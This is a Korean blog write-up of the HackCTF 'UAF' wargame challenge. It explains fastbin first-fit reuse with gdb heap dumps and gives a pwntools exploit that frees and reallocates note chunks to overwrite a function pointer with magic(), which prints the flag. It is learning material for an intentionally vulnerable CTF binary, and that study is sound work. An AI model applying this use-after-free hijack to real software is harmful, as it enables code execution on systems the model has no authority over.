ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] UAF
    Wargame/HackCTF 2020. 1. 5. 13:18

     

    들어가며

    이 문제는 heap exploitation 을 공부하고 처음으로 다룬 문제이다.

    역시 문제를 풀어보는 것이 공부에 도움이 되는 것 같다.

    malloc에서 first-fit 알고리즘을 이용한 공격기법인 UAF(User After Free)로 문제를 풀 수 있다.

     


    first-fit 이란?

    first-fit 알고리즘은 malloc함수에서 재할당 시에 행하는 알고리즘이다.

    해제된 Chunk가 fastbinsY에서 관리될 경우 해제된 Heap의 크기와 동일하게 할당하는 알고리즘이다.

     

    예시를 들어 설명하면 다음과 같다.

    a = malloc(8) -> free(a) 하게 되면, fastbinsY[0]에는 a의 주소가 들어가게 된다.

    이때, b = malloc(8) 을 하면 b의 주소는 이전에 할당받은 a의 주소와 같다.

     


    탐색

    문제에서 <add_note> 중, malloc이 일어나는 곳은 총 2곳이다.

    gdb-peda$ pd add_note
    Dump of assembler code for function add_note:
    ...
        0x080486c8 <+82>:    push   0x8
        0x080486ca <+84>:    call   0x80484e0 <malloc@plt>
        0x080486cf <+89>:    add    esp,0x10
        0x080486d2 <+92>:    mov    edx,eax
        0x080486d4 <+94>:    mov    eax,DWORD PTR [ebp-0x1c]
        0x080486d7 <+97>:    mov    DWORD PTR [eax*4+0x804b070],edx
        0x080486de <+104>:   mov    eax,DWORD PTR [ebp-0x1c]
        0x080486e1 <+107>:   mov    eax,DWORD PTR [eax*4+0x804b070]
    ...
        0x08048706 <+144>:    mov    eax,DWORD PTR [ebp-0x1c]
        0x08048709 <+147>:    mov    eax,DWORD PTR [eax*4+0x804b070]
        0x08048710 <+154>:    mov    DWORD PTR [eax],0x804865b
    ...
    End of assembler dump.
    gdb-peda$ x/wx 0x804b070
    0x804b070 <notelist>:   0x08fdc008
    gdb-peda$ x/16wx 0x08fdc000
    0x8fdc000:      0x00000000      0x00000011      0x0804865b      0x08fdc018
    0x8fdc010:      0x00000000      0x00000011      0x41414141      0x0000000a
    0x8fdc020:      0x00000000      0x00020fe1      0x00000000      0x00000000
    0x8fdc030:      0x00000000      0x00000000      0x00000000
    gdb-peda$ x/i 0x804865b
       0x804865b <print_note_content>:      push   ebp

    첫번째 malloc 구간에서는 malloc(8)을 하며,

    <print_note_content>함수 주소를 &notelist에 넣는다.ebp+0x1cnotelist_index이다.

    두번째 malloc 구간에서는 malloc(input) 한다. 이때, input은 사용자가 입력한 값이다.

     

    &notelist는 첫번째 malloc 구간의 Data를 저장한다. -> 이게 제일 중요!

     


     

    문제를 풀기 위해선, 출제자가 풀 수 있게끔 만들어 놓은 함수를 자세히 봐야한다.

    이 문제에선 <print_note> 함수를 주의깊게 봐야한다.

    gdb-peda$ pd print_note
    Dump of assembler code for function add_note:
    ...
       0x08048953 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
       0x08048956 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
       0x0804895d <+136>:   mov    eax,DWORD PTR [eax]
       0x0804895f <+138>:   mov    edx,DWORD PTR [ebp-0x14]
       0x08048962 <+141>:   mov    edx,DWORD PTR [edx*4+0x804b070]
       0x08048969 <+148>:   sub    esp,0xc
       0x0804896c <+151>:   push   edx
       0x0804896d <+152>:   call   eax
    ...
    End of assembler dump.
    gdb-peda$ i r eax
    eax            0x0      0x0
    gdb-peda$ x/wx $eax*4+0x804b070
    0x804b070 <notelist>:   0x08fdc008
    gdb-peda$ x/wx 0x08fdc008
    0x8fdc008:      0x0804865b

    &notelist에서 사용자 에게 받은 index를 더한 후, 그 값의 주소를 호출한다.

     

    정리하면,

    1. <add_note>는 8bytes와 사용자 지정 크기로 malloc 함수를 호출하여 할당한다.

    이때, &notelist는 첫번째 malloc 구간의 Data를 저장한다.

    2. 8bytes를 할당받은 곳의 Data영역에는 print_note_content함수주소가 담겨있다.

    3. <print_note> 함수에서 <add_note>에서 등록할때의 &notelist에 저장된 주소를 호출한다.

     

    3번에서 나는 <add_note><del_note>를 잘 이용하면 &notelist에 저장된 주소를 덮을 수 있지 않을까 생각했다.

    덮을 주소는 <magic>이라는 함수로, system("/bin/cat flag");를 실행해주는 함수이다.

     


    풀이

    1. 8크기의 note를 2개 추가한다.

    # Stage 1
    # 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc018
    # 0x8fdc010: 0x00000000      0x00000011      0x41414141      0x00000000
    # 0x8fdc020: 0x00000000      0x00000011      0x0804865b      0x08fdc038
    # 0x8fdc030: 0x00000000      0x00000011      0x42424242      0x00000000
    # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
    add_note(8, 'A'*4)
    add_note(8, 'B'*4)

     

    2. 이후 2개의 note를 삭제한다.

    # Stage 2
    # 0x8fdc000: 0x00000000      0x00000011      0x08fdc010      0x08fdc018
    # 0x8fdc010: 0x00000000      0x00000011      0x08fdc020      0x00000000
    # 0x8fdc020: 0x00000000      0x00000011      0x08fdc030      0x08fdc038
    # 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
    # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
    # fastbinsY = {0x08fdc000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
    del_note(1)
    del_note(0)

    이때, fastbinsY는 다음과 같이 바뀐다.

    1. del_note(1)
      fastbinY {0x08fdc020 -> 0x08fdc030}
    2. del_note(0)
      fastbinY {0x08fdc000 -> 0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}

     

    3. 크기가 다른(16bytes) note를 1개 추가한다.

    # Stage 3
    # 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc048
    # 0x8fdc010: 0x00000000      0x00000011      0x08fdc020      0x00000000
    # 0x8fdc020: 0x00000000      0x00000011      0x08fdc030      0x08fdc038
    # 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
    # 0x8fdc040: 0x00000000      0x00000019      0x43434343      0x43434343
    # 0x8fdc050: 0x43434343      0x43434343      0x00000000      0x00020fa9 -> top chunk
    # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028,
    # notelist[2] = 0x8fdc008
    # fastbinsY = {0x08fdc010, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
    add_note(16, 'C'*16)

    이때, 첫번째 할당에서 malloc(8)은 first-fit 알고리즘을 통해서 0x8fdc000을 할당받는다.

    fastbinsY는 다음과 같이 바뀐다.

    fastbinY에서 가장 최근에 free된 8bytes의 chunck를 malloc 재할당에 사용하였다.

    3. add_note(16)
      fastbinY {0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}

     

    4. 8bytes의 크기의 note를 추가한다. 이때, text는 magic의 주소로 준다.

    # Stage 4
    # 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc048
    # 0x8fdc010: 0x00000000      0x00000011      0x0804865b      0x08fdc028
    # 0x8fdc020: 0x00000000      0x00000011      0x08048986      0x08fdc038
    # 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
    # 0x8fdc040: 0x00000000      0x00000019      0x43434343      0x43434343
    # 0x8fdc050: 0x43434343      0x43434343      0x00000000      0x00020fa9 -> top chunk
    # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
    # notelist[2] = 0x8fdc008, notelist[3] = 0x8fdc018
    # fastbinsY = {0x08fdc030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
    add_note(8, p32(magic))

    이때, 첫번째 할당에서 malloc(8)은 first-fit 알고리즘을 통해서 0x8fdc010을 할당받는다.

    또한 두번째 할당에서도 마찬가지로 malloc(8)이므로, 0x8fdc020을 할당받는다.

    fastbinsY는 다음과 같이 바뀐다.

    4. add_note(8)
      fastbinY {0x08fdc020 -> 0x08fdc030}
      fastbinY {0x08fdc030}

     

    5. notelist에서 1번째 index를 <print_note>의 param으로 넣어준다.

    gdb-peda$ pd print_note
    Dump of assembler code for function add_note:
    ...
       0x08048953 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
       0x08048956 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
       0x0804895d <+136>:   mov    eax,DWORD PTR [eax]
       0x0804895f <+138>:   mov    edx,DWORD PTR [ebp-0x14]
       0x08048962 <+141>:   mov    edx,DWORD PTR [edx*4+0x804b070]
       0x08048969 <+148>:   sub    esp,0xc
       0x0804896c <+151>:   push   edx
       0x0804896d <+152>:   call   eax
    ...
    End of assembler dump.
    gdb-peda$ i r eax
    eax            0x1      0x1
    gdb-peda$ x/wx $eax*4+0x804b070
    0x804b074 <notelist+4>:   0x08fdc028
    gdb-peda$ x/wx 0x08fdc028
    0x8fdc028:      0x08048986
    gdb-peda$ x/4wx 0x08fdc020
    0x8fdc020: 0x00000000      0x00000011      0x08048986      0x08fdc038
    gdb-peda$ x/i 0x08048986
       0x8048986 <magic>:   push   ebp

     

    exploit.py

    from pwn import *
    
    def add_note(size, text):
    	r.sendlineafter(' :', '1')
    	r.sendlineafter(' :', str(size))
    	r.sendlineafter(' :', text)
    
    def del_note(index):
    	r.sendlineafter(' :', '2')
    	r.sendlineafter(' :', str(index))
    
    def print_note(index):	
    	r.sendlineafter(' :', '3')
    	r.sendlineafter(' :', str(index))
    
    r = remote('ctf.j0n9hyun.xyz', 3020)
    
    magic = 0x08048986
    
    add_note(8, 'A'*4)
    add_note(8, 'B'*4)
    
    del_note(1)
    del_note(0)
    
    add_note(16, 'C'*16)
    add_note(8, p32(magic))
    
    print_note(1)
    
    r.recvuntil(':')
    print(r.recvuntil('\n'))

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] babyfsb  (0) 2020.01.10
    [Pwnable] You are silver  (0) 2020.01.08
    [Pwnable] Look at me  (0) 2020.01.01
    [Pwnable] Random  (0) 2020.01.01
    [Pwnable] gpwn  (0) 2019.12.29

    댓글

Designed by Tistory.